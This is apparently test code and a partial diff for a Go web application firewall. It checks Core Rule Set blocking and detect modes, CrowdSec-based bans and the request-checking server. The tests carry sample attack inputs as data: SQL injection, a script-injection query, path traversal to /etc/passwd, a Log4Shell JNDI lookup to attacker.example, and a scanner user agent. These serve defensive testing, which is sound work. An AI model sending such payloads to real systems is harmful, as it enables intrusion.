wafMode: detect, tagDeny: "exploitsignature",
})
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionClientDenied)
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
}
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
t.Parallel()
for _, attack := range []struct {
name, path, header string
ruleIDs []int
score int
}{
{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
{
"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
[]int{941100, 941110, 941160, 941390}, 20,
},
{
"path traversal in the path", "/files/../../etc/passwd", "",
[]int{930100, 930110}, 10,
},
{
"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
[]int{944150}, 5,
},
{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
{
// Coraza keeps the first 1000 query parameters.
"SQL injection after 1000 query parameters",
"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
[]int{900300}, 5,
},
} {
t.Run(attack.name, func(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
mode, action string
status int
}{
{block, requestlog.ActionBlockedByCoreRuleSet, http.StatusForbidden},
{detect, requestlog.ActionForward, http.StatusOK},
} {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
line := s.requestWithHeader(client, attack.path, attack.header,
tc.status, tc.action)
wantCoreRuleSet(t, line, &attack.score, attack.ruleIDs...)
}
})
}
}
func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
wantHeuristic(t, line, "core_rule_set", `{"score": 5, "threshold": 5}`)
}
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
http.StatusOK, requestlog.ActionForward)
wantCoreRuleSet(t, line, new(0))
}
func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
t *testing.T,
) {
t.Parallel()
const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block,
wafExemptPaths: "/api/",
allowNets: allowed,
rulesDir: writeRules(t, testRules),
})
// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
// exempts, are not inspected.
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantCoreRuleSet(t, line, nil)
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
requestlog.ActionForward)
wantCoreRuleSet(t, line, nil)
// The prefix is matched as rate limit exempt paths are: a path that
// goes up and out of it is inspected.
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
wantCoreRuleSet(t, line, new(25), 930100, 930110, 942100)
// A request a rule file refuses is not inspected.
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionBlockedByBlockRule)
wantCoreRuleSet(t, line, nil)
// With SWW_WAF_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantCoreRuleSet(t, line, nil)
}
func TestAnomalyThreshold(t *testing.T) {
t.Parallel()
// A score under the threshold, or with the threshold off, is logged,
// and refuses nothing.
for _, threshold := range []string{"6", off} {
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: threshold,
})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantCoreRuleSet(t, line, new(5), 942100)
}
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: "5",
})
s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
}
func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
t.Parallel()
for _, request := range []struct {
name, method, path, header string
// ruleIDs are the rules that match the request with none
// switched off.
ruleIDs []int
}{
{
"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
[]int{920420, 930130},
},
{
"package upload without a type", http.MethodPut,
"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
[]int{920340},
},
{
"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
[]int{920440},
},
{
"an editor's settings", http.MethodGet,
"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
},
} {
t.Run(request.name, func(t *testing.T) {
t.Parallel()
body := ""
if request.method != http.MethodGet {
body = "push"
}
// By default, the rules are switched off.
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusOK, requestlog.ActionForward)
wantCoreRuleSet(t, line, new(0))
// A list given replaces the default.
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafDisabledRules: "942100",
})
score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
wantCoreRuleSet(t, line, &score, request.ruleIDs...)
// And switches off the rules it lists.
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantCoreRuleSet(t, line, new(0))
})
}
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel()
const body = "id=1'%20OR%20'1'='1"
header := "Content-Type: " + formData + "\r\nContent-Length: " +
strconv.Itoa(len(body))
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusOK, requestlog.ActionForward)
wantCoreRuleSet(t, line, new(0))
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
wantCoreRuleSet(t, line, new(5), 942100)
}
func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
t.Parallel()
// The app answers with the body it was sent, once it has the whole of
// it: Go's server reads no more of a body once the answer has begun.
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
_, _ = w.Write(body)
})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
for i, tc := range []struct {
name, contentType, body string
// announced sends the body's length in Content-Length; otherwise
// the body is sent in chunks with no length given.
announced bool
}{
{"form data within the limit", formData, "a=b", true},
{"form data longer than the limit", formData, longer, true},
{"form data longer than the limit, not announced", formData, longer, false},
{
"JSON larger than the limit", "application/json",
`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
},
{
"a binary body", "application/octet-stream",
strings.Repeat("\x00\xff", sizeLimit), true,
},
} {
// A reader whose length the client cannot tell is sent in chunks.
var body io.Reader = strings.NewReader(tc.body)
if !tc.announced {
body = io.MultiReader(body)
}
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", tc.contentType)
got := do(t, req)
if got.status != http.StatusOK || string(got.body) != tc.body {
t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
tc.name, len(got.body), got.status, len(tc.body))
}
line := out.endedLines(t, i+1)[i]
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.RequestBytes != int64(len(tc.body)) {
t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
line.RequestBytes, len(tc.body))
}
}
}
func TestResponsesAreNotInspected(t *testing.T) {
t.Parallel()
// A raw shell script, and an SQL error, which the Core Rule Set's rules
// for responses take for a leak.
const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
"You have an error in your SQL syntax; check the manual that " +
"corresponds to your MySQL server version\n"
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte(page))
})
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page {
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
}
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
})
for range 2 {
s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
}
// The third refusal in a minute breaks the error burst, and bans the
// client.
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals and limit",
line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
want := ratelimit.Offences{Limit: 1, BlockedByCoreRuleSet: 3}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
metrics := s.scrape()
wantMetric(t, metrics,
`sww_core_rule_set_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
wantMetric(t, metrics,
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`, 3)
wantMetric(t, metrics, `sww_requests_total{action="blocked_by_core_rule_set",`+
`instance="app",status_class="4xx"}`, 3)
}
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
})
for range 3 {
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
offences := historyOf(t, server, client).Offences
if offences != (ratelimit.Offences{}) {
t.Errorf("history counts the offences %+v, want none", offences)
}
metrics := s.scrape()
wantMetric(t, metrics,
`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
wantNoSeries(t, metrics,
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`)
}
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet)
wantCoreRuleSet(t, line, new(5), 942100)
// It is an offence as in enforce mode.
want := ratelimit.Offences{BlockedByCoreRuleSet: 1}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
}
func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// status and action are what the request is answered and logged
// with, and alertMode what the alert's detail gives as mode, if
// anything.
status int
action, alertMode string
}{
{
"block", map[string]string{wafMode: block},
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "",
},
{
"detect", map[string]string{wafMode: detect},
http.StatusOK, requestlog.ActionForward, detect,
},
{
"block in observe mode", map[string]string{wafMode: block, mode: observe},
http.StatusOK, requestlog.ActionForward, observe,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, clk, _, queue := startWithAlerts(t, tc.env)
// The second is a repeat, which the cooldown holds back, and an
// ordinary request raises none.
for range 2 {
s.request(client, sqlInjection, tc.status, tc.action)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
detail := map[string]any{
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
"path": sqlInjection,
}
if tc.alertMode != "" {
detail["mode"] = tc.alertMode
}
wantAlerts(t, queue, alerts.Alert{
Instance: alertInstance,
Time: clk.Now(),
Event: alerts.EventCoreRuleSetMatch,
Host: appHost,
Client: netip.MustParseAddr(client),
Netblock: netip.MustParsePrefix(client + "/32"),
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
if queue.Suppressed() != 1 {
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
}
})
}
}
internal/discriminator/countries.go
-35
View File
@@ -1,35 +0,0 @@
package discriminator
// The heuristic countries. It reads SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
import (
"context"
"slices"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// countries refuses a request when SWW_EXCLUSIVELY_ALLOWED_COUNTRIES is set and
// does not hold the client's country as it was looked up. A client without a
// country, or whose country cannot be found, is refused. Its figures are the
// country and the setting that refused it.
type countries struct{}
func (countries) name() string { return "countries" }
func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
allowed := rq.h.config.ExclusivelyAllowedCountries
country := rq.line.Country
if len(allowed) == 0 || slices.Contains(allowed, country) {
return nil
}
return &verdict{
action: requestlog.ActionCountryDenied,
figures: map[string]any{
"country": country, "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES",
},
}
}
internal/discriminator/crowdsec.go
-50
View File
@@ -1,50 +0,0 @@
package discriminator
// The heuristic crowdsec. It reads SWW_CROWDSEC_LAPI_URL, and the decisions
// through the reputation lists.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// crowdSec refuses a request when a decision of the CrowdSec decision list on
// the client is in force at now. It then adds the tag crowdsec, notes the
// list, as noteHit does, and bans the client until that decision ends. Its
// figures are the decision's scenario and when it ends.
type crowdSec struct{}
func (crowdSec) name() string { return "crowdsec" }
func (crowdSec) check(_ context.Context, rq *request, now time.Time) *verdict {
decision, listed := rq.crowdSecDecisionInForce(now)
if !listed {
return nil
}
rq.addTag(config.CrowdSecTag)
rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
"listed by the CrowdSec decision list")
return &verdict{
action: rq.banForCrowdSec(now, decision),
figures: map[string]any{
"scenario": decision.Scenario,
"expires": requestlog.FormatTime(decision.Expires),
},
}
}
// crowdSecDecisionInForce returns the decision of the CrowdSec decision list on
// the client that is in force at now, and reports whether there is one, which
// the heuristic crowdsec refuses the request for.
func (rq *request) crowdSecDecisionInForce(
now time.Time,
) (reputation.Decision, bool) {
return rq.h.lists.CrowdSecDecision(rq.client, now)
}
internal/discriminator/crowdsec_test.go
-197
View File
@@ -1,197 +0,0 @@
package discriminator_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The CrowdSec settings, and the tests' engine, which is never asked: each
// test puts in the copy of its decision list, at decisionsURL, that it
// needs, as reputation.json would at start.
const (
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
lapi = "http://crowdsec.example:8080"
decisionsURL = lapi + "/v1/decisions"
bouncerKey = "crowdsec-key-0123456789abcdef"
)
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token,
})
// client had four hours left on its decision as the engine answered.
fetched := clk.Now()
loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
// Its first request is refused, and bans it until the decision ends.
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantReputation(t, line, decisionsURL)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
}
listed := []bans.ReputationHit{{Source: decisionsURL}}
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
!held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
"the request in its notes", held)
}
// The listing raises a reputation_hit alert, and the ban its own.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "listed by the CrowdSec decision list" ||
!reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
expires)) {
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
waiting)
}
// Each request while the ban lasts is refused under it, as under any
// ban, and once it has ended the client is let through.
clk.advance(4*time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantReputation(t, line)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
}
clk.advance(time.Second)
s.get(client, http.StatusOK, requestlog.ActionForward)
// The ban and the hit are counted, and the list has the metrics of any
// list fetched from a URL.
metrics := s.scrape()
labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
wantMetric(t, metrics, `sww_bans_made_total{cause="crowdsec",`+
`instance="`+alertInstance+`"}`, 1)
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
float64(fetched.Unix()))
}
func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
t.Parallel()
s, clk, server, _ := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey,
})
loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantHeuristic(t, line, "crowdsec", `{"scenario": "crowdsecurity/ssh-bf", `+
`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`)
wantTags(t, line, "crowdsec")
}
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey,
})
// 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine
// answered.
fetched := clk.Now()
loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+
`"value": "198.51.100.0/24"}, {"duration": "1m0s", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+
`"value": "2001:db8::9"}]`)
// Just before its end, the decision bans a client in the netblock, and
// one on an IPv6 address bans the address's group, the /64.
clk.advance(time.Minute - time.Nanosecond)
s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
// Once it has ended, it bans no other client, and the bans it made end
// with it.
clk.advance(time.Nanosecond)
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
}
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
"2001:db8::/64", made)
}
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
}
}
func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
t *testing.T,
) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe,
})
loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
wantReputation(t, line, decisionsURL)
if held := server.Ledger.Snapshot(); len(held) != 0 {
t.Errorf("bans %+v, want none", held)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
waiting[1].Detail["mode"] != observe {
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
"marked observe", waiting)
}
}
// loadDecisions puts into server's lists the copy of the decision list at
// decisionsURL, answer, the engine's answer, fetched at fetched, as
// reputation.json would at start.
func loadDecisions(
t *testing.T, server *discriminator.Server, fetched time.Time, answer string,
) {
t.Helper()
err := server.Lists.Load([]reputation.List{{
URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer},
}})
if err != nil {
t.Fatalf("load the decision list: %v", err)
}
}
internal/discriminator/denynets.go
-29
View File
@@ -1,29 +0,0 @@
package discriminator
// The heuristic deny_nets. It reads SWW_DENY_NETS.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// denyNets refuses a client in SWW_DENY_NETS. Its figure is the netblock of
// the setting the client is in.
type denyNets struct{}
func (denyNets) name() string { return "deny_nets" }
func (denyNets) check(_ context.Context, rq *request, _ time.Time) *verdict {
for _, netblock := range rq.h.config.DenyNets {
if netblock.Contains(rq.client) {
return &verdict{
action: requestlog.ActionClientDenied,
figures: map[string]any{figureNetblock: netblock.String()},
}
}
}
return nil
}
internal/discriminator/discriminator.go
-477
View File
@@ -1,477 +0,0 @@
package discriminator
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io"
"log/slog"
"net/http"
"net/netip"
"strconv"
"strings"
"time"
"unicode/utf8"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The headers of rproxy's question and of discriminator's answer, as
// "discriminator" in SPEC.md gives them.
const (
// ClientHeader marks a request as rproxy's question, and gives the
// visitor's address.
ClientHeader = "X-Sww-Client"
// PeerHeader gives the address of rproxy's own TCP peer.
PeerHeader = "X-Sww-Peer"
// ContentLengthHeader gives the body length the visitor announced.
ContentLengthHeader = "X-Sww-Content-Length"
// DispositionHeader gives discriminator's answer.
DispositionHeader = "X-Sww-Disposition"
)
// The values of DispositionHeader.
const (
// DispositionAllow tells rproxy to pass the request to the app.
DispositionAllow = "allow"
// DispositionDeny tells rproxy to give the visitor the answer's status,
// headers and body.
DispositionDeny = "deny"
// DispositionClose tells rproxy to close the visitor's connection
// without an answer, which SWW_BAN_RESPONSE asks for when it is close.
// discriminator closing the question's connection instead would read as
// discriminator being down, and rproxy would then let the request through.
DispositionClose = "close"
)
// ReportPath is where rproxy sends the report of each request discriminator
// answered.
const ReportPath = "/_sww/report"
// QuestionBodyMaxBytes is the most of a visitor's body a question carries.
const QuestionBodyMaxBytes = 64 << 10
const (
// maxAwaitingReport is the most answered requests held until their
// reports come. Past it, the request answered longest ago is dropped.
maxAwaitingReport = 10000
// maxRequestIDBytes is the longest id a question may give.
maxRequestIDBytes = 128
// reportBodyMaxBytes is the most of a report's body that is read. It is
// far above any report's.
reportBodyMaxBytes = 1 << 20
// maxHTTPStatus is the highest status a report may give.
maxHTTPStatus = 599
// maxReportedBytes is the most bytes a report may give for each way, 1
// PiB, so that adding them up cannot overflow.
maxReportedBytes = 1 << 50
// maxReportedMilliseconds is the longest duration a report may give,
// about 31 years, so that it fits a time.Duration.
maxReportedMilliseconds = 1e12
// discriminatorTimeout bounds how long a request to discriminator takes to
// arrive, and its answer to leave, and discriminatorIdleTimeout how long a
// kept-open connection waits for its next request.
discriminatorTimeout = 60 * time.Second
discriminatorIdleTimeout = 120 * time.Second
)
var (
errReportFieldMissing = errors.New("a field is missing")
errReportValue = errors.New("a value is out of range")
)
// Report is the JSON object rproxy posts to ReportPath once the visitor's
// answer has ended, its fields named as the request log's of the same
// meaning. RequestID is the question's id. Status is what the visitor got, 0
// if nothing. The durations are in milliseconds.
//
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
type Report struct {
RequestID string `json:"request_id"`
Status int `json:"status"`
RequestBytes int64 `json:"request_bytes"`
ResponseBytes int64 `json:"response_bytes"`
DurationTotalMS float64 `json:"duration_total_ms"`
DurationUpstreamTotalMS float64 `json:"duration_upstream_total_ms"`
}
// New returns the server `sww discriminator` runs. It answers
// rproxy's questions, takes rproxy's reports and answers its own endpoints. It
// passes nothing to an app. rproxy applies the size and time limits to the
// visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it
// is far above rproxy's, and a question refused for its size would have rproxy
// let the request through.
func New(params Params) *Server {
h := newHandler(params)
return &Server{
Server: &http.Server{
Addr: params.Config.ListenAddr,
Handler: h,
ErrorLog: slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn),
ReadTimeout: discriminatorTimeout,
WriteTimeout: discriminatorTimeout,
IdleTimeout: discriminatorIdleTimeout,
},
Ledger: h.ledger,
Limiter: h.limiter,
GeoJS: h.geojs,
Anomalies: h.anomalies,
LookupFile: h.lookupFile,
Lists: h.lists,
DNSBL: h.dnsbl,
AbuseIPDB: h.abuseIPDB,
RouteWatch: h.routeWatch,
Metrics: h.metrics,
}
}
// ServeHTTP handles one request to discriminator: a request carrying
// ClientHeader is rproxy's question, and any other is for discriminator
// itself.
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if len(r.Header.Values(ClientHeader)) > 0 {
h.answerQuestion(w, r)
return
}
h.answerOwnEndpoint(w, r)
}
// refusedWhateverTheAnswer reports whether the request is one that does not wait
// for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
// its client: the heuristic crowdsec, header_limits, blocklists or rate_limits
// will refuse it, as a function in that heuristic's file says. In observe mode,
// which refuses nothing, none is. rproxy lets a request through when
// discriminator answers too late.
func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
if rq.h.config.Observe {
return false
}
_, decided := rq.crowdSecDecisionInForce(now)
return decided || overHeaderLimits(rq.headerCounts()) ||
rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) ||
rq.overAWholeRateLimit(now)
}
// answerQuestion runs the checks on the visitor's request a question
// carries, and answers rproxy what to do with it. A denied request's counting
// is finished here, and an allowed one's by its report.
func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
client, body, ok := h.readQuestion(w, r)
if !ok {
return
}
// One that cannot be read leaves the log line's peer_ip invalid.
peer, _ := netip.ParseAddr(r.Header.Get(PeerHeader))
rq := h.startRequest(w, asTheVisitorSentIt(r, body), client.Unmap(), peer.Unmap(),
true)
// The last deferred runs first, so that what is held has the finished log
// line. Go's server sends the answer only once this function has
// returned, so the report cannot come before it is held.
defer rq.holdForReport()
defer rq.finish()
rq.site = r.Host
rq.line.DiscriminatorLine = requestlog.DiscriminatorLineDecision
refused := rq.check(r.Context())
rq.checked = time.Now()
underOwnPrefix := strings.HasPrefix(r.URL.Path, ownEndpointPrefix)
if refused == nil && !underOwnPrefix {
// In observe mode, what enforce mode would have refused counts here.
defer rq.runAfterAnswer(r.Context())
rq.allow()
return
}
// The last deferred runs first: runAfterAnswer before addToHistory, so that
// a broken refusal limit is in the client's history.
defer rq.addToHistory()
defer rq.countAnomalies()
defer rq.runAfterAnswer(r.Context())
if refused != nil {
rq.deny(*refused)
return
}
// The app never sees this prefix. discriminator's own endpoints are at its
// own address, so this answers as a path with no endpoint does.
rq.line.Action = requestlog.ActionOwnEndpoint
rq.out.Header().Set(DispositionHeader, DispositionDeny)
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
}
// readQuestion returns the visitor's address and the body a question carries,
// and whether discriminator takes the question. It answers a question it does not
// take with 400 and no disposition, which rproxy treats as it treats no
// answer. The id of a question it takes is held from here on, without a
// decision yet, so that another question with that id is refused while this
// one is being handled.
//
// The body is read before any check, since Go's server does not send an answer
// until it has read the body. A question whose body stops arriving gets no
// answer, and is not looked at.
func (h *handler) readQuestion(
w http.ResponseWriter, r *http.Request,
) (netip.Addr, []byte, bool) {
client, err := netip.ParseAddr(r.Header.Get(ClientHeader))
if err != nil || client.Zone() != "" {
h.refuseQuestion(w, ClientHeader+" is not an address without a zone")
return netip.Addr{}, nil, false
}
id := r.Header.Get(requestIDHeader)
if id == "" || len(id) > maxRequestIDBytes || !utf8.ValidString(id) {
h.refuseQuestion(w, requestIDHeader+" is not a valid id")
return netip.Addr{}, nil, false
}
